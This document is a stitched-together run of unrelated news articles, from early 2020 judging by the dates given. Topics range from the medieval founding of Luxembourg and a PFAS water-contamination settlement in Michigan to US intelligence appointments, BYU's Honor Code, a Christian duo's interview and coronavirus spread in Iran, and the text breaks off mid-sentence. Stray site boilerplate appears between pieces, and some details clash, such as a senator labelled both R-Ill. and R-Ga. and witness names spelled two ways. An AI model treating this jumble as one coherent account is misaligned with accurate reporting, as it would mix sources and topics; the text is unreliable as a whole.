RTL Today contributor Thomas Tutton explores the founding of Luxembourg. Believe it or not, there was once a time before Luxembourg. Thank God for Siegfried. Roman Luxembourg The first historical mention of the lands that now form the Grand Duchy of Luxembourg came from no less a figure than Julius Caesar in his Commentaries on the Gallic War. The region had previously been occupied by a Celtic tribe known as the Treveri, who founded an important site at Titelberg, near Differdange, in south-western Luxembourg. After Caesar defeated the Gauls in the period of 54-52 BC, the area eventually became part of the Roman province of Gallia Belgica, headquartered at Trier. It would remain under Roman occupation until the early 5th century, when a new Germanic tribe overran the area: the Franks. The Dark Ages Under Clovis I, who is sometimes recognised as the first King of France, the Franks founded the Merovingian dynasty, which would rule over an area stretching from the Pyrenees to the Rhine from the mid-400s until 751. During this time, the inhabitants of the region converted to Christianity, and an abbey was founded at Echternach, in what is now eastern Luxembourg, in around 700. Willibrord, who founded the Abbey of Echternach, is the patron saint of Luxembourg. The founder of the abbey was a monk from northern England called Willibrord, who is the patron saint of Luxembourg. The abbey quickly became so important that Frankish leader Charles Martel an important historical figure due to his defeat of a Muslim army at Tours in 732 had his son baptised there in 710. This son, Pepin the Short, would become the first King of the Carolingian dynasty in 751; Pepins own son Charlemagne would be crowned Emperor of the Romans in 800. After Charlemagnes grandsons fought a brotherly civil war in the 840s, the area that is now Luxembourg became part of the Kingdom of Middle Francia, soon renamed as Lotharingia. By 959, Lotharingia had fallen from a Kingdom to a divided Duchy that ruled over most of the present-day Benelux area. Siegfried, Founder of Luxembourg Myths surrounding the first lord of Luxembourg, Siegfried, and his possible deals with the Devil and relationships with mermaids have survived to the present day. And indeed, much of the real story of Siegfried remains rather murky. His parents were probably a certain Wigerich, a count with extensive lands in Lotharingia, and Cunegonde, a descendant of Charlemagne. Incidentally, after Wigerich died, Cunegonde would later marry Ricwin, Count of Verdun, who had beheaded his first wife for adultery. Im sure he made for a great stepfather. Siegfrieds family was powerful: his brothers were Alberon, Bishop of Metz, and Frederick, Duke of Upper Lotharingia. Siegfried himself seems to have been born in the 920s. By the 950s, he owned various properties in the wider region and wanted to enlarge his holdings by building a strong castle. He first attempted to buy a site near Bodeux in modern-day Belgium, but was apparently turned down by an unfriendly abbot. Undeterred, he next focused his attention on an old Roman watchtower or fortification overlooking the Alzette river that belonged to the Abbey of St Maximin in Trier. The historic Bock, where Siegfried built his castle. This fortification, on the natural cliffs known as the Bock, was called Lucilinburhuc, better known today as Luxembourg. Siegfried acquired the land in exchange for some territories he owned in Feulen, near Diekirch, and with the permission of Otto I, the Holy Roman Emperor, he built a castle on the site which soon attracted peasants and artisans to live at its feet in the Alzette valley. And so, Luxembourg was born. So next time you get your free tram to work (or get stuck in an hour-long traffic jam), you can thank (blame) Siegfried for your luck (troubles.) GRAND RAPIDS, MI Wolverine World Wide and 3M have settled a lawsuit with a Michigan family whose drinking water was poisoned by toxic fluorochemicals that were in manufacturing waste dumped near their home decades ago. Kent County 17th Circuit Court Judge George J. Quists office confirmed the confidential settlement, which was entered in court on Friday, Feb. 21 in Grand Rapids. The case was settled for an unknown sum, which attorneys would not disclose. The lawsuit was brought against Wolverine by Seth and Tobyn McNaugton of Belmont in December 2017. 3M was added as a defendant in June 2018. A trial in the case was scheduled to begin March 2. The McNaughtons were lead plaintiffs in more than 250 similar cases filed individually in state circuit court. Subsequent cases have trials scheduled later this year. Representatives for Wolverine and 3M did not immediately respond to requests for comment. Aaron Phelps, an Varnum Law firm attorney who represents the McNaughtons, said were happy the parties were able to reach an out-of-court settlement. It was a significant effort on Seth and Tobyns part to carry this forward as lead plaintiffs over the last two years, and we and all the residents appreciate their effort in that regard," Phelps said. The McNaughtons said their health and property values have been harmed by toxic PFAS chemicals, discovered in their well on Chandler Drive in Belmont in 2017. The blood of their son, Jack, 4, has tested positive for extremely high PFAS levels 484,000 parts-per-trillion which McNaughtons believe has caused problems with his immune system and vaccination uptake. In filings, the family has blamed high cholesterol, pregnancy complications and miscarriages on their exposure to high levels of PFAS in their drinking water. Related: Family poisoned by PFAS: We dont know what our future holds The McNaughtons home is about a half mile south of Wolverines House Street dump, where the company put tannery waste into unlined trenches and lagoons in the 1960s. The waste was tainted by 3M Scotchgard that Wolverine used to waterproof shoe leather at its Rockford tannery. A groundwater contamination plume from the dump was discovered in 2017. The plume has spread southeast to the Rogue River, a Grand River tributary. House Street is one of several places where Wolverine dumped tannery waste around Belmont. The McNaughton lawsuit is the third major Wolverine toxic contamination case to settle this week. On Wednesday, a negotiated consent decree in a regulatory case brought against Wolverine by state and local governments was approved by a federal judge. On Thursday, Wolverine and 3M announced a settlement between the two companies in a third-party complaint in the regulatory case. 3M has agreed to pay $55 million to help Wolverine cover a $69.5 million deal struck with the state of Michigan and two local townships for extension of the Plainfield Township water system to about 1,000 homes in the 25 square-mile contaminated zone. Wolverine estimates the municipal water project, continued filter maintenance at homes that municipal mains wont reach and cleanup costs at its former tannery site in Rockford and House Street dump could reach upwards of $113 million. 3M remains a defendant in a lawsuit against 17 chemical manufacturers filed by Michigan Attorney General Dana Nessel in January. With the McNaughtons as lead plaintiff, the Varnum cases have quietly proceeded through the discovery process for most of the past two years. Last spring, the McNaughtons offered to let another family, the Hulas, take their place as lead plaintiff in order to expedite a safe water solution. Judge Quist denied the request. The Hula family has relied on water deliveries since fall 2018 after their homes well broke down and couldnt be replaced because of the contamination. In recent motion hearings, Wolverine and 3M have tried to limit the scope of evidence and testimony allowed at trial related to health claims, property value diminution and the wider contamination geography in northern Kent County. Theres a lot of pressure to settle these cases before they go to trial," said Christopher Hastings, a Western Michigan University Cooley Law School professor. Hastings said companies like Wolverine and 3M seek to avoid liability decisions made by judges or juries that would prevent them from re-litigating certain facts in subsequent cases. The last thing Wolverine wants is for there to be issue preclusion, said Hastings. Thats something they should want to avoid with the intensity of 1,000 suns. Copyright 1995 - . All rights reserved. The content (including but not limited to text, photo, multimedia information, etc) published in this site belongs to China Daily Information Co (CDIC). Without written authorization from CDIC, such content shall not be republished or used in any form. Note: Browsers with 1024*768 or higher resolution are suggested for this site. 0108263 License for publishing multimedia online Registration Number: 130349 Registration Number: 130349 From the rollback of customs duty on key electronic components to fast tracking delivery of goods imported from China, players are looking for incentives on several counts. Amid fears of massive disruption in business across sectors, industry bodies, lobby groups and key players are flocking the offices of union ministries and departments. As the government opens door to the business community, seeking suggestions to minimise the impact of the impending crisis arising out of the coronavirus epidemic, many are actively peddling their interests in disguise. From the rollback of customs duty on key electronic components to fast tracking delivery of goods imported from China, players are looking for incentives on several counts. Several industry bodies like MAIT, Indian Cellular and Electronics Association (ICEA) and Consumer Electronics and Appliances Manufacturers Association (CEAMA) that represent all major electronics, appliances and handset players in the country have made representations to the government for roll back of customs duty on electronic components. With supply of components from China in shortage now, the groups are demanding postponement of higher duties on components to mitigate any increase in production cost. During the Budget, the finance minister had announced change in duty structure for a range of components consumed to manufacture mobile handsets, air conditioners (AC), refrigerators and electric vehicles. Customs duty on key mobile parts like printed circuit board assembly (PCBA), display assembly and touch panel were raised by 10 percentage points. While, for compressors and small motors - used in AC, refrigerator, washing machines and air coolers, among other appliances - were raised by 2.5 per cent. While some argue, with no local supply chain existing and these items continue to be imported mostly from China higher duty on these will further increase production cost. Data from department of commerce show, during 2018-19 mobile components worth over Rs 50,500 crore were imported from China, while for AC and AC parts the figure was Rs 4,000 crore. According to Kamal Nandi, president of CEAMA, and executive vice-president of Godrej Appliances, said while the intention is good, it will lead to price escalation in the short run, on products like refrigerators, air conditioners, coolers, washing machines, air purifier and chest freezers. Reduction of goods and service tax (GST) rates on ACs and large screen TV sets (from 28 per cent to 18 per cent) will help manufacturers and buyers absorb some of the increase in cost and spur demand. The governments approach of levying higher duty on imported components to push players towards local manufacturing is somewhat flawed. "Rather, it should facilitate setting up of a robust local ecosystem. "Manufacturers are now under pressure and it is quite obvious that they will seek duty cuts, said Navkendar Singh, research director, IDC. However, some industry veterans said the companies are trying to influence the authorities by using the ongoing crisis as an excuse. A group of electronics manufacturers, for example, are seeking removal of any bureaucratic or operational hurdles for incoming shipments. This along with logistical incentives from the government, they argue, will help reduce their cost. According to Avneet Singh Marwah, chief executive of Superplastronics a brand licensee for Kodak and Thomson TV they have asked senior finance ministry officials for fast tracking of component delivery, avoiding any hurdles at customs. A smoother transport corridor, along with priority release of shipments from Mumbai port, will reduce travel time by a couple of days. "Given the rising cost and crunch in supply, it is imperative now that the government incentivize local manufacturers, he said. Sources said, finance ministry officials have given verbal assurance to manufacturers in favour of the proposal. The Confederation of All India Traders (CAIT), which represents 70 million traders of the country, is lobbying hard against e-commerce giants like Amazon and Flipkart. CAIT that has long been seeking stringent regulations on e-commerce players, has approached the prime minister. In a letter, addressed to PM Narendra Modi, CAIT has urged for close scrutiny of imports of Chinese goods by e-commerce firms. Immediate steps are needed to provide a package to Indian traders and small industries to strengthen their production capacity so that flow of supply chain should not be disturbed, it further demanded. Photograph: Thomas Peter/Reuters Prosecutor Carmel Barbagallo has confirmed there will be no witnesses called today. Instead, prosecutor Tara Payne will read-in the statements of four witnesses who worked for the Forensic Science Service in the UK in 2008. The first is Renata Bardo, who said she received 15 Macro Taskforce exhibits from Pathwest scientist Laurie Webb who hand delivered them to the FSS London lab on September 1, 2008. Ms Bardot said she entered the exhibits into the lab system and ticked off each exhibit as labelled on its packaging. The second witness statement it that of Scott Payn, another FSS London-based employee who, after the exhibits were checked in by Ms Bardot, was tasked to separate the packaged items by exhibit type. "At no time did I open the inner seals of the exhibits," he said. The third witness statement is that of Lucy Lemanski, a former FSS employee who couriered the exhibits from the FSS London lab to the FSS Birmingham lab on September 9, 2008. She said the exhibits were transferred in three bags labelled 'dry', 'cold' and 'frozen'. The fourth statement is that of former FSS case work support officer, Andrea Lea, who confirmed she received the exhibits from Ms Lemanski at the Birmingham lab on September 10, 2008 at the secure stores section. "At no stage would I have opened the tamper-proof evidence bags, or opened the seals," she said. Ms Lee noted AJM40 and AJM42 were among four items accidentally left in a fridge in the stores section until September 19, 2008 when it was realised they were missing from the remainder of the samples. "The exhibits were always securely stored," she said. The fingernail samples were then transferred to another fridge storage section of the lab. The purpose of the evidence of the above witnesses is to show the chain of possession, or continuity, of the state's critical exhibits included within the 15 exhibits sent to the UK for testing which were Ciara's fingernails - AJM40 and AJM42. India is prepping up in full throttle to welcome United States President Donald Trump. Trump will kick-start his maiden two-day visit on February 24 and will be in Ahmedabad and New Delhi. Reportedly, Trump will be staying at one of India's ultra-luxurious suites, the Chanakya Suite in ITC Maurya Hotel, New Delhi. ITC's Chanakya Suite is off 4,600 sq ft and costs approximately eight lakh rupees for a night. While the security officials are busy turning Delhi into a fortress, heres a sneak peek into the presidential suite where the Trump and Melania will stay during their visit to Delhi.Grand Presidential Suite Entrance. (Image: ITC Hotels) Rep. Doug Collins (R-Ga.) speaks to media while other impeachment defense team advisors look on, at the Capitol in Washington on Jan. 27, 2020. (Charlotte Cuthbertson/The Epoch Times) Collins Doesnt Want National Intelligence Director Job After Consideration by Trump Rep. Doug Collins (R-Ga.) said hes not interested in becoming the director of national intelligence just hours after President Donald Trump suggested him as a candidate for the position. Let me tell you right now, I know the problems in the intelligence committee. Its not a job that interests me at this time. Its not one that I would accept, because Im running a Senate race down here in Georgia, Collins, 53, said during an appearance on Fox Business on Friday morning. Collins said that it was humbling to have his name mentioned as a possible nomination to the position. Trump, speaking with reporters on Air Force One late Thursday, said that Collins is among the candidates hes considering nominating as national intelligence director. Trump, who was traveling to his hotel in Las Vegas from a rally in Colorado with UFC head Dana White, hasnt had a permanent national intelligence director since Dan Coats stepped down last year. Joseph Maguire replaced Coats but served as acting director of national intelligence. He said hes leaving the position once U.S. Ambassador to Germany Richard Grenell assumes it. Richard Grenell at the Federal Defense Ministry in Berlin, Germany on Nov. 8, 2019. (Sean Gallup/Getty Images) Trump announced late Wednesday that Grenell will become the acting director of national intelligence, or DNI. Trump in a tweet called Grenell highly respected. Rick has represented our Country exceedingly well and I look forward to working with him, Trump wrote. I would like to thank Joe Maguire for the wonderful job he has done, and we look forward to working with him closely, perhaps in another capacity within the Administration! he added. The White House said in a statement on Thursday that Grenell is committed to a non-political, non-partisan approach as head of the Intelligence Community, on which our safety and security depend. The director of national intelligence position was created after the Sept. 11, 2001, terror attacks against the United States. The director oversees 17 civilian and military intelligence agencies, including the CIA. Sen. Kelly Loeffler (R-Ill.) walks through Statuary Hall with other senators to the House Chamber for President Donald Trumps State of the Union address in the Capitol in Washington on Feb. 4, 2020. (Charlotte Cuthbertson/The Epoch Times) The president can make nominations to the position, but the post requires approval from the Senate. Trump did not name any other candidates hes mulling for the permanent position. Collins, considered a top ally of Trumps in the House of Representatives, is running for a U.S. Senate seat in Georgia in 2020. Collins is challenging Sen. Kelly Loeffler (R-Ga.), a businesswoman who was nominated to the seat by Republican Georgia Gov. Brian Kemp after Sen. Johnny Isakson (R-Ga.) announced he was stepping down due to health issues. Loeffler received praise from Trump for her vote to acquit him on the articles of impeachment. In the same ceremony at the White House, the president also praised Collins. They know Im a supporter of the president. Im running against a senator that decided to support the president four weeks before the appointment, Collins said on Friday on Fox Business. The seat could be in jeopardy because of the flaws she has. Im a supporter of this president. Ill continue to fight for this president. The intelligence community has to get right. Im sure the president will pick somebody appropriate for the job. A key contender in the Akyem Oda constituency primary of the New Patriotic Party (NPP), Alexander Akwasi Acquah, has pledged to donate half of his salary to towards the establishment of a fund to cater for the developmental needs of the area. The businessman has also promised to share his allocation of the MPs Common Funds among all 18 electoral areas that make up the Akyem Oda constituency in the Eastern Region, if the NPP delegates give him the nod to lead the party into the 2020 parliamentary election. The Chief Executive of The Community Hospitals Group further indicated that he will ensure the elected Assembly members, who are the agents of development at the local level, lead his development agenda in the constituency. Common Fund is one of the commonest funds available to every Member of Parliament. Whilst others are propagating the cancellation of it because they don't see the use and benefit of it, I have decided to fairly allocate it to the 18 electoral areas in the Akyem Oda constituency. Accountability of the quarterly fund will be the responsibility of elected assembly members of these electoral areas under the responsibility of my party's electoral area coordinators, he said. He was speaking on Akyemansa FM, a community radio station on Wednesday, February 19, 2020, a day after he filed his nomination to contest the April 25 primary. The former spokesperson for the National Health Insurance Authority (NHIA) challenged the constituents and delegates, in particular, to hold him accountable for his promises maintaining that he is not into politics to enrich himself. Obviously, we are in to serve and not to make money from politics, Mr Acquah said Philanthropic work The businessman has over the years implemented a number of development projects in the Akyem Oda Township key among them being the Kotokuman Education Trust Fund, an initiative of Alexander Akwasi Acquah Foundation (AAAF). In 2019, he donated a 4x4 pick-up vehicle to aid the party's day to day running in the constituency. He also helped in guaranteeing an interest-free loan scheme to polling station officers to the tune of GH300,000. This enabled many of them to invest the funds into income-generating ventures that saw them become financially independent rather than relying on handouts from politicians. Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video LUXEMBOURG, Feb. 21, 2020 (GLOBE NEWSWIRE) -- La Mancha Holding S.a.r.l. (La Mancha), a Luxembourgincorporated private gold investment company, is pleased to announce that it has completed the acquisition of 124,229,389 ordinary shares at a price of C$0.09 per share of Altus Strategies Plc (AIM: ALS & TSX-V: ALTS) (Altus) pursuant to a strategic investment agreement with Altus (the Strategic Investment Agreement). As a result of the transaction, La Mancha became an insider of Altus, holding an aggregate of 124,229,389 ordinary shares representing approximately 35.4% of the issued and outstanding Shares. The Strategic Investment Agreement provides for La Manchas right to nominate two non-executive directors to the Altus Board of Directors, as well as certain anti-dilution and pre-emptive rights and governance matters. La Mancha acquired the ordinary shares of Altus for business and investment purposes. In the future La Mancha may, from time to time, increase or decrease its investment in Altus through market transactions, private agreements, treasury issuances or otherwise at any time subject to the terms of the Strategic Investment Agreement and other applicable restrictions. La Manchas head office is located at 3133 avenue Pasteur L2311 Luxembourg. Altus head office is located at The Orchard Centre, 14 Station Road, Didcot, Oxfordshire, NA, OX11 7LL. La Mancha will file an early warning report in accordance with applicable securities laws, which will be available under Altuss profile on the SEDAR website at www.sedar.com, and may also be obtained by contacting: Karim Nasr Chief Executive Officer of the La Mancha Group T: +44 (0) 20 3960 2020 Email: contact@lamancha.com ABOUT LA MANCHA GROUP La Mancha is a privately held international gold company with investments in Endeavour Mining, Evolution Mining and Golden Star Resources, having operations in West Africa (Mali, Burkina Faso, Cote dIvoire and Ghana) and Australia, respectively. La Mancha was taken private in 2012 by the Sawiris family. Under the Sawiris family ownership, since 2012, La Mancha has expanded its exposure to mining operations in Africa and Australia and is invested in three mining companies with total production exceeding 1.8 million gold equivalent ounces per annum. Mrs. Yousriya Nassif Loza owns all of the issued and outstanding shares of Marchmont Limited, the holding company of La Mancha Holding S.a r.l. For more information, please visit www.lamancha.com. Brigham Young U says policy on homosexual behavior remains the same after reports suggest ban lifted Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Officials at Brigham Young University in Utah said Thursday that the schools policy on homosexual behavior had not changed despite reports that a recent update to their Honor Code signified students would no longer be disciplined for engaging in same-sex relationships. Just know that the Honor Code remains the same and as we have [done] so often in the past, we handle the questions that arise on an individual case by case basis, a representative from BYUs communications office told The Christian Post Thursday. In a brief statement released Wednesday, BYU officials said the updated Honor Code was published to be in alignment with the doctrine and policies of the Church reflected in the recently released general handbook of The Church of Jesus Christ of Latter-day Saints. The updated Honor Code applies to all Church institutions of higher education. As in the past, each campus maintains its own dress and grooming standards. The updated Honor Code continues to be a principle-based code that reflects the moral standards of the Church. It allows each campus to support and guide its students on an individual basis according to the principles outlined in the Honor Code, the school said. The updates to the code, however, show that the school had removed language classifying homosexual behavior among violations of the Honor Code that may result in actions up to and including separation from the university. Brigham Young University will respond to homosexual behavior rather than to feelings or attraction and welcomes as full members of the university community all whose behavior meets university standards. Members of the university community can remain in good Honor Code standing if they conduct their lives in a manner consistent with gospel principles and the Honor Code, the old language for the Honor Code noted. One's stated same-gender attraction is not an Honor Code issue. However, the Honor Code requires all members of the university community to manifest a strict commitment to the law of chastity. Homosexual behavior is inappropriate and violates the Honor Code. Homosexual behavior includes not only sexual relations between members of the same sex, but all forms of physical intimacy that give expression to homosexual feelings, the now-deleted language in the code noted. When asked why that language was removed, the BYU official told CP: The new church handbook was released on the same day. It aligned more with the way they are talking about things in the Church of Jesus Christ of Latter-day Saints. Thats the whole motivation behind taking that out to align with the church policy. The current Honor Code policy calls on students to, among other things, live a chaste and virtuous life, including abstaining from any sexual relations outside a marriage between a man and a woman. Kirk Bowman, a recent BYU graduate, told The Salt Lake Tribune that the director of the schools Honor Code Office told him the change would mean LGBTQ students would no longer be disciplined or expelled for being in relationships kissing or holding hands as long as they follow the faiths existing expectation that couples remain chaste until marriage. I am personally very excited," Bowman said. "While I still think there are serious problems with the office, I am very happy that they are taking steps towards equality. I am hopeful that this will lead to less homophobia on campus from students, professors, faculty, bishops, etc. In a series of tweets on Wednesday, BYU noted that Bowman may have misunderstood his communication with the Honor Code Office. The updated Honor Code continues to be a principle-based code that reflects the moral standards of the Church. It allows each campus to support and guide its students on an individual basis according to the principles outlined in the Honor Code, BYU stated. In speaking with Honor Code Office Director Kevin Utt this afternoon, we've learned that there may have been some miscommunication as to what the Honor Code changes mean. Even though we have removed the more prescriptive language, the principles of the Honor Code remain the same, the school added. The Church of Jesus Christ of Latter-day Saints does not support gay marriage. Shares is the leading weekly publication for retail investors. It is packed with investment ideas, news and educational material to help build and run portfolios and get more from your money. Shares puts on free Investor Events throughout the year across the country. They provide an opportunity for investors to learn more about companies on the stock market and hear from a range of investment experts including fund managers and Shares journalists. Sony and Oculus parent Facebook both said on Thursday that they are pulling out of next month's Game Developer Conference in San Francisco over coronavirus concerns. Meanwhile, AT&T and Verizon are joining IBM in skipping next week's RSA security conference in San Francisco. The big picture: While these two shows are still slated to continue, other events have been scrapped altogether, including Barcelona's Mobile World Congress, one of the tech industrys biggest global events, and Facebook's global marketing conference. Several Chinese companies have also pulled out due to travel restrictions, gamesindustry.biz reported. What they're saying: Facebook/Oculus: "We're removing our booth footprint and advising all employees to refrain from traveling to the show. We plan to host GDC partner meetings remotely in the coming weeks." Sony (per gamesindustry.biz): "We felt this was the best option as the situation related to the virus and global travel restrictions are changing daily. We are disappointed to cancel our participation, but the health and safety of our global workforce is our highest concern. We look forward to participating in GDC in the future." GDC organizers: "We believe that, based on the strict U.S. quarantine around coronavirus and a large number of enhanced on-site measures, we are able to execute a safe and successful event for our community." Go deeper: Misinformation about coronavirus is spreading fast Banjul, Gambia (PANA) Gambian consumers, under the banner of Consumer Protection Consortium (CPC) on Thursday vowed to take legal action against one of the West African countrys leading telecommunication companies, Africell, for alleged cheating and other forms of market injustices 21.02.2020 LISTEN Known popularly as "Afro Gbede", K. A. Gbedemah was one of the few political figures whose life and work spanned Ghana's political history. His early life and education, which a lot has already been published on, will be left out of this article. The article shall therefore focus on how he was instrumental in the formation of the CPP and more importantly making sure the party wins majority of the total seats in the 1951 Legislative Assembly elections. The political career of Mr. K. A. Gbedemah can be traced back to his days in the United Gold Coast Convention, where he served as the Chairman of the Committee on Youth Organizations, a youth wing of the UGCC. The CYO was a conglomeration of a number of youth organizations both from the colony and Ashanti. By February 1948, the bad economic situation that engulfed the colony, and the social frustration of the general masses were at their respective peak. What broke the camel's back, thereby paving way for the beginning of the process of Independence, was a protest march by unarmed ex-servicemen. On 28 February, 1948, the government police shot into a group of unarmed former soldiers who were marching to the Christiansborg Castle at Osu to present a petition to the Governor. As a result, Sergeant Adjetey, Corporal Attippe and Private Odartey-Lamptey died on the spot, with several others sustaining various degrees of injury. This line of action by the colonial government degenerated into riots and looting of shops in Accra. The leaders of the UGCC were blamed, arrested and detained in connection with the riots. This has caused some sort of division among the UGCC leaders, paving way for Nkrumah to resign from his General Secretary position to form his own party, the CPP. At a crucial three-day CYO meeting at Tarkwa, Gbedemah led one faction of the group, and suggested the total breakaway of the CYO from the UGCC. By this, on the 12th day of June 1949, in front of about 60,000 people, the CPP was launched. In January 1950, the declaration of Positive Action by Nkrumah nearly Killed the newly formed CPP. The Positive Action campaign employed the weapons of legitimate political agitations, newspaper and educational campaigns, and as last resort, constitutional application of strikes, boycotts and non-cooperation based on the principles of absolute non-violence. Due to this, all the leading members of the young party, including Nkrumah, were arrested and jailed. The Vice-chairman and Editor of the Accra Evening News, K.A. Gbedemah, was earlier arrested and imprisoned in October 1949, for publishing false news. After serving his term at the James Fort Prison, Gbedemah was set to be released. At the time of his release, Nkrumah and other leading members of the CPP, who were arrested in connection with the Positive Action campaign, were brought to be locked. Nkrumah made it known in his autobiography that he had some few valuable minutes with Gbedemah and in this short conversation, charged Gbedemah to lead the front with regards to the operations of both the party and the Accra Evening News. Now that all the leaders of the party were behind bars, Gbedemah was faced with the burden of party organization and the smooth running of the Accra Evening News. The absence of most of the leaders of the CPP led to the coming into being of power struggles in the party; many members of the party began to contest against each other in order to assume leadership roles. With his God given organizational skills, Gbedemah was able to unite the party. He managed to prepare the party towards the 1951 Legislative Assembly elections. While Nkrumah and the other leaders were behind the strong bars of the James Fort Prison, Gbedemah strategically organized the entire campaign of the party. He was also able to keep the name of Nkrumah alive in the mind of the people; he motivated the supporters of the party to continue the struggle with him until Nkrumah's release. Though with initial plans to contest the Accra Central seat, Gbedemah supported Nkrumah's idea to contest for that particular seat behind bars. In order to outsmart the colonial authorities, who Gbedemah feared would not hesitate to find a way to disqualify Nkrumah, he filed his name to contest for the Accra Central seat. At the last minute, Gbedemah hurriedly replaced his name with that of Nkrumah and rushed to Keta to convince the CPP candidate for Keta so he can replace him. He succeeded in convincing the man and filed to contest the Keta seat. A total of 117 candidates filed to contest the 38 seats. The Convention People's Party contested every seat, while the United Gold Coast Convention and National Democratic Party provided strong oppositions. Several independent candidates, as well as the Asante Kotoko party also stood to be voted for. After moving across the length and breadth of the colony, the campaign efforts of Gbedemah reflected in the outcome of the election. The CPP won 34 out of the 38 elected seats in the assembly, claiming all five seats and nearly 95% of the vote in urban areas. Gbedemah himself won the Keta seat, with Kojo Botsio, winning the Winneba seat unopposed. Due to Gbedemah's hard work, Nkrumah was in prison but won the Accra Central seat with 22,780 of the 23,122 votes cast. In rural areas the CPP won 29 of the 33 seats, taking around 72% of the vote. The main opposition, the United Gold Coast Convention , fared badly, winning only two seats. The massive victory of the CPP in the 1951 election is hugely creditable to the efforts of Gbedemah. Though his relationship with Nkrumah got deteriorated in the 1960s, resulting in his exile, his role in the formation of the CPP and the struggle for independence is one that our generation and the generations unborn must appreciate and never forget. Seth & Nirva's new song cries out for 'mercy' for America: We've crossed into the danger zone Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Acclaimed husband/wife duo Seth & Nirva released the new single Mercy off of their long-awaited album. As well as being a personal prayer, the song is a cry of repentance on behalf of America. The duos anticipated album, One Voice, will be released on March 13 and features 13 tracks of both music and spoken-word vignettes. Seth & Nirva, who have tackled real-life topics head-on in the past as a biracial couple and ministers of the Gospel, continue to provide content that is vulnerable and personal. Their new single, Mercy, models the book of Psalms from the Bible as the psalmist cries out for God to show up and have mercy on the land. The couple said God continues to remain merciful although we as a people deserve wrath. The following is The Christian Post's premiere of their video, Mercy, and an edited transcript of CP's interview with Seth & Nirva, who discuss the concept and reason behind the new single. Christian Post: Mercy is a message so many need to hear right now. We live in a time where there is not much self-reflection and blessings is what people pray for instead of God's mercy. Can you talk about that? Seth & Nirva: Yeah, you said it. Theres definitely a tendency toward entitlement, and we have also largely lost the concept of the holiness of God. Many are not even aware how far we have fallen short of the glory of God collectively and individually. So one aspect of this song does have to do with repentance. Theres an old prayer called the Jesus prayer that many have used through the ages that basically says, Lord Jesus, Son of God, have mercy on me, a sinner. This informs the song as well as some of the Psalms where the writer is crying out for Gods mercy for everything from forgiveness, to healing, financial help, perseverance, and justice. There are a variety of reasons to seek God for His mercy and thats what we tried to capture in this song and video. CP: Americas in need of God's mercy as its now actively promoting things the Bible calls evil as good, such as redefining identity, killing the innocent, political corruption, social injustice. What inspired you to pen this song? Seth & Nirva: For sure, we have definitely crossed into the danger zone that the prophet Isaiah warned us about long ago of calling evil good, and good evil. When you think of the 60 million plus innocent human beings we have legally killed in the womb since Roe vs. Wade, and how we are indoctrinating elementary school kids with the sexual anarchy propagated by radical LGBTQ activists, its a wonder God hasnt blown us off the map. When we wrote this song, we did get the sense that although the lyric literally refers to an individual person praying, at a deeper level it represents the land itself crying out for mercy. In this sense, we arent just asking for forgiveness, but we are asking God to come and bring correction and justice to draw the leaders responsible for this evil to repentance, or to remove them and bring judgment upon them if they refuse. CP: The song is God-breathed and is an emotional listening experience. Can you share your personal experience with it? Seth & Nirva: This song definitely feels like the centerpiece of the album for us, and the one we resonate most with. It felt like Gods grace was on it from beginning to end. Every now and then as an artist, you connect deeply with a song and inspiration seems to keep coming right up until you finalize the master. This happened on this song. Months after we recorded it and thought we were finished we added the whole fall like rain part that ended up becoming a reprise on the album and that we used at the end of the video. We often find ourselves singing the song as a devotional prayer, and we hope it inspires others to pray for mercy for themselves and for their land. CP: The video features a number of people. What was the message and story behind that? Seth & Nirva: We wanted to capture people from all different walks of life, as we know that tragedy hits us all no matter our race, gender, or economic status. We all need the mercy of God! As we were filming that day, we actually got to sit down with many of them and hear their stories. Quite a few of them had been through some incredibly difficult circumstances. The first lady highlighted in the video, for instance, lost her legs to a debilitating disease that she continues to fight. Yet she had so much joy in the Lord as she recounted how He had been with her and seen her through it all. Another guy had almost lost his life in a motorcycle accident, but God miraculously restored his health and mobility. It ended up being something of a testimony service that day that was really encouraging. CP: Tell us about the new album and what else is to come from Seth & Nirva? Seth & Nirva: Our album One Voice is set to release March 13. It is a mix of songs and spoken word vignettes (sermons, prayers, and monologues) on the topic of unity. In our culture, we often hear calls to unity, love and inclusion. Unfortunately, these words are typically understood or defined in unbiblical and incoherent ways. We wanted to make sure these songs werent interpreted through these lenses, so we put in the spoken-word vignettes to act as sort of an interpretive key. We hope this album will encourage the Body of Christ to rise up as one and stand for the ways of God in a culture increasingly set against biblical Christianity. We also have a podcast called Freemind where we address cultural issues from a biblical perspective with an emphasis on apologetics. We started the podcast last year and have had the privilege of interviewing leading Christian thinkers such as John Stonestreet, Nancy Pearcey, Sean Mcdowell, and JP Moreland on topics ranging from LGBTQ activism, critical theory, abortion, and many other hot-button issues. We are up to 58 episodes, and we plan on putting out one per week this year. We also plan to continue traveling and speaking and singing. We recently accepted positions on staff at New Life Church in the San Francisco Bay area and are in the process of moving out there from our current home in Lakeland, Florida. So quite a full plate at the moment, but we are excited about this next season. Four reported deaths probably mean at least 200 cases, said Michael T. Osterholm, director of the Center for Infectious Disease Research and Policy at the University of Minnesota. If the virus kills about 2 percent of known victims, as Chinese doctors have reported, then the number of deaths can be multiplied by 50 to get a rough case estimate, he explained. People dont die right away of this virus it usually takes two or three weeks after cases start to spread for the first death, Mr. Osterholm said. So there may be a lot more cases, and a lot more deaths on the way. And we didnt even know there was a problem in Iran before yesterday. Minou Mohrez, who is on the infectious disease committee of the Iranian Health Ministry, told the official IRNA news agency on Friday that it was clear the virus was spreading across Irans cities. A coronavirus epidemic has started in the country, she said. Its possible that it exists in all cities in Iran. A spokesman for the Health Ministry, Kianush Jahanpur, said on Friday there were more than 735 people hospitalized with flulike symptoms who were being tested for the virus. Kuwaits civil aviation authority on Friday stopped all flights to and from Iran, which shares a long border with both Afghanistan and Iraq, where health officials have a limited capacity to stop the spread of the virus should it find its way to those countries. Dr. Sylvie Briand, the director of infectious hazards management for the W.H.O., said the rapid increase in cases in Iran was disquieting. 20 companies expected to set up units KT Rama Rao, Minister for Industries, Commerce and IT, Govt of Telangana has handed over allotment letters to 5 MedTech companies who are setting up their units at Medical Devices Park in Hyderabad. The companies include Jagore Life Sciences Pvt Ltd, Majik Medical Solutions Pvt Ltd, Arni Medica Pvt Ltd, Trident Technologies and 